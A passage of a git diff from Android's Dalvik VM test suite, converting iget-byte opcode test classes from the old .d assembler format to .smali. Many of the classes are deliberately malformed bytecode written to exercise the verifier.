+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_17.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_17;
+.super  Ljava/lang/Object;
+
+.field public  i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-byte v0, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_17;->i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_18.d
deleted file mode 100644
index 309001d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_18.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_18.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_18
-.super java/lang/Object
-
-.field public  i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-byte v0, v2, dot.junit.opcodes.iget_byte.d.T_iget_byte_18.i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_18.smali
new file mode 100644
index 0000000..527cd8c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_18.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_18.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_18;
+.super  Ljava/lang/Object;
+
+.field public  i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-byte v0, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_18;->i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_19.d
deleted file mode 100644
index a1397ba..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_19.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_19.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_19
-.super java/lang/Object
-
-.field public  i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-byte v0, v2, dot.junit.opcodes.iget_byte.d.T_iget_byte_19.i1 D
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_19.smali
new file mode 100644
index 0000000..e5ebb35
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_19.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_19.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_19;
+.super  Ljava/lang/Object;
+
+.field public  i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-byte v0, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_19;->i1:D
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_20.d
deleted file mode 100644
index 2373e00..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_20.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_20
-.super java/lang/Object
-
-.field public  i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-byte v0, v2, dot.junit.opcodes.iget_byte.d.T_iget_byte_20.i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_20.smali
new file mode 100644
index 0000000..d7dc884
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_20.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_20;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-byte v0, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_20;->i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_21.d
deleted file mode 100644
index 40685ee..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_21.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_21.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_21
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iget_byte/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iget_byte/TestStubs/<init>()V
-
-       iget-byte v1, v0, dot.junit.opcodes.iget_byte.TestStubs.TestStubProtectedField B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_21.smali
new file mode 100644
index 0000000..0eb3319
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_21.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_21.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_21;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget_byte/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_byte/TestStubs;-><init>()V
+
+       iget-byte v1, v0, Ldot/junit/opcodes/iget_byte/TestStubs;->TestStubProtectedField:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_3.d
deleted file mode 100644
index a7cf811..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_3.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_3
-.super java/lang/Object
-
-.field public  i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-byte v3, v2, dot.junit.opcodes.iget_byte.d.T_iget_byte_3.i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_3.smali
new file mode 100644
index 0000000..86baa31
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_3.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_3;
+.super  Ljava/lang/Object;
+
+.field public  i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-byte v3, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_3;->i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_30.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_30.d
deleted file mode 100644
index 1c8e463..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_30.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_30.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_30
-.super java/lang/Object
-
-.field public  st_i1 B
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    new-instance v0, dot/junit/opcodes/iget_byte/d/T_iget_byte_30
-    iget-byte v1, v0, dot.junit.opcodes.iget_byte.d.T_iget_byte_30.st_i1 B
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_30.smali
new file mode 100644
index 0000000..477d230
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_30.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_30.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_30;
+    iget-byte v1, v0, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_30;->st_i1:B
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_31.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_31.d
deleted file mode 100644
index 0a84091..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_31.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2014 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_31.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_31
-.super java/lang/Object
-
-.field public  st_i1 B
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-    iget v0, v0, dot.junit.opcodes.iget_byte.d.T_iget_byte_31.st_i1 B
-    return v0
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_31.smali
new file mode 100644
index 0000000..6fb67f0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_31.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_31.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+    iget v0, v0, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_31;->st_i1:B
+    return v0
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_35.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_35.d
deleted file mode 100644
index 8792c96..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_35.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2016 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_35.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_35
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 2
-       iget-byte v0, v1, dot.junit.opcodes.iget_byte.TestStubs.TestStubProtectedField B
-       return v0
-.end method
-
-
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_35.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_35.smali
new file mode 100644
index 0000000..e3a9eb2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_35.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_35.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_35;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 2
+       iget-byte v0, v1, Ldot/junit/opcodes/iget_byte/TestStubs;->TestStubProtectedField:B
+       return v0
+.end method
+
+
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_4.d
deleted file mode 100644
index 20f03c8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_4.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_4
-.super java/lang/Object
-
-.field public  i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       iget-byte v1, v2, dot.junit.opcodes.iget_byte.d.T_iget_byte_4.i1 B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_4.smali
new file mode 100644
index 0000000..05b4ca1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_4.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_4;
+.super  Ljava/lang/Object;
+
+.field public  i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       iget-byte v1, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_4;->i1:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_5.d
deleted file mode 100644
index 65e6ed0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_5.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_5
-.super java/lang/Object
-
-.field public static i1 B
-
-.method public <init>()V
-.limit regs 4
-
-       invoke-direct {v3}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       iget-byte v1, v2, dot.junit.opcodes.iget_byte.d.T_iget_byte_5.i1 B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_5.smali
new file mode 100644
index 0000000..e312099
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_5.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_5;
+.super  Ljava/lang/Object;
+
+.field public static i1:B
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       iget-byte v1, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_5;->i1:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_6.d
deleted file mode 100644
index 0f761e0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_6.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_6.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iget_byte/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iget_byte/TestStubs/<init>()V
-
-       iget-byte v1, v0, dot.junit.opcodes.iget_byte.TestStubs.TestStubField B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_6.smali
new file mode 100644
index 0000000..3e3bab9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_6.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget_byte/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_byte/TestStubs;-><init>()V
+
+       iget-byte v1, v0, Ldot/junit/opcodes/iget_byte/TestStubs;->TestStubField:B
+       return v1
+.end method
+
+
